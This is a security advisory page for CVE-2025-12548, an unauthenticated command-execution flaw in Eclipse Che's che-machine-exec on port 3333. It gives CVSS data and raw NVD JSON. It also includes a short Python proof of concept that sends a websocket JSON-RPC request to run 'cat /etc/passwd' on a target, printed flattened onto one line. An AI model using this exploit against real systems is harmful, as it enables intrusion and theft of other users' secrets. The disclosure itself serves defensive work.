Security Vulnerability Report
中文
CVE-2025-12548 CVSS 9.0 CRITICAL

CVE-2025-12548

Published: 2026-01-13 16:15:56
Last Modified: 2026-04-15 00:35:42

Description

A flaw was found in Eclipse Che che-machine-exec. This vulnerability allows unauthenticated remote arbitrary command execution and secret exfiltration (SSH keys, tokens, etc.) from other users' Developer Workspace containers, via an unauthenticated JSON-RPC / websocket API exposed on TCP port 3333.

CVSS Details

CVSS Score
9.0
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

Eclipse Che che-machine-exec < 7.99.0
Eclipse Che 7.x < 7.99.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import websockets import json import asyncio async def exploit(target_ip): uri = f"ws://{target_ip}:3333" async with websockets.connect(uri) as ws: # JSON-RPC request to execute command payload = { "jsonrpc": "2.0", "method": "machine.exec", "params": { "machineName": "test", "command": ["cat", "/etc/passwd"], "timeout": 30 }, "id": 1 } await ws.send(json.dumps(payload)) response = await ws.recv() print(f"Command output: {response}") asyncio.run(exploit("TARGET_IP"))

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-12548", "sourceIdentifier": "[email protected]", "published": "2026-01-13T16:15:55.527", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "A flaw was found in Eclipse Che che-machine-exec. This vulnerability allows unauthenticated remote arbitrary command execution and secret exfiltration (SSH keys, tokens, etc.) from other users' Developer Workspace containers, via an unauthenticated JSON-RPC / websocket API exposed on TCP port 3333."}, {"lang": "es", "value": "Se encontró una falla en Eclipse Che che-machine-exec. Esta vulnerabilidad permite la ejecución remota de comandos arbitrarios no autenticados y la exfiltración de secretos (claves SSH, tokens, etc.) de los contenedores de Espacio de Trabajo de Desarrollador de otros usuarios, a través de una API JSON-RPC / websocket no autenticada expuesta en el puerto TCP 3333."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:H", "baseScore": 9.0, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.3, "impactScore": 6.0}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-306"}]}], "references": [{"url": "https://access.redhat.com/errata/RHSA-2025:22620", "source": "[email protected]"}, {"url": "https://access.redhat.com/errata/RHSA-2025:22623", "source": "[email protected]"}, {"url": "https://access.redhat.com/errata/RHSA-2025:22652", "source": "[email protected]"}, {"url": "https://access.redhat.com/security/cve/CVE-2025-12548", "source": "[email protected]"}, {"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2408850", "source": "[email protected]"}]}}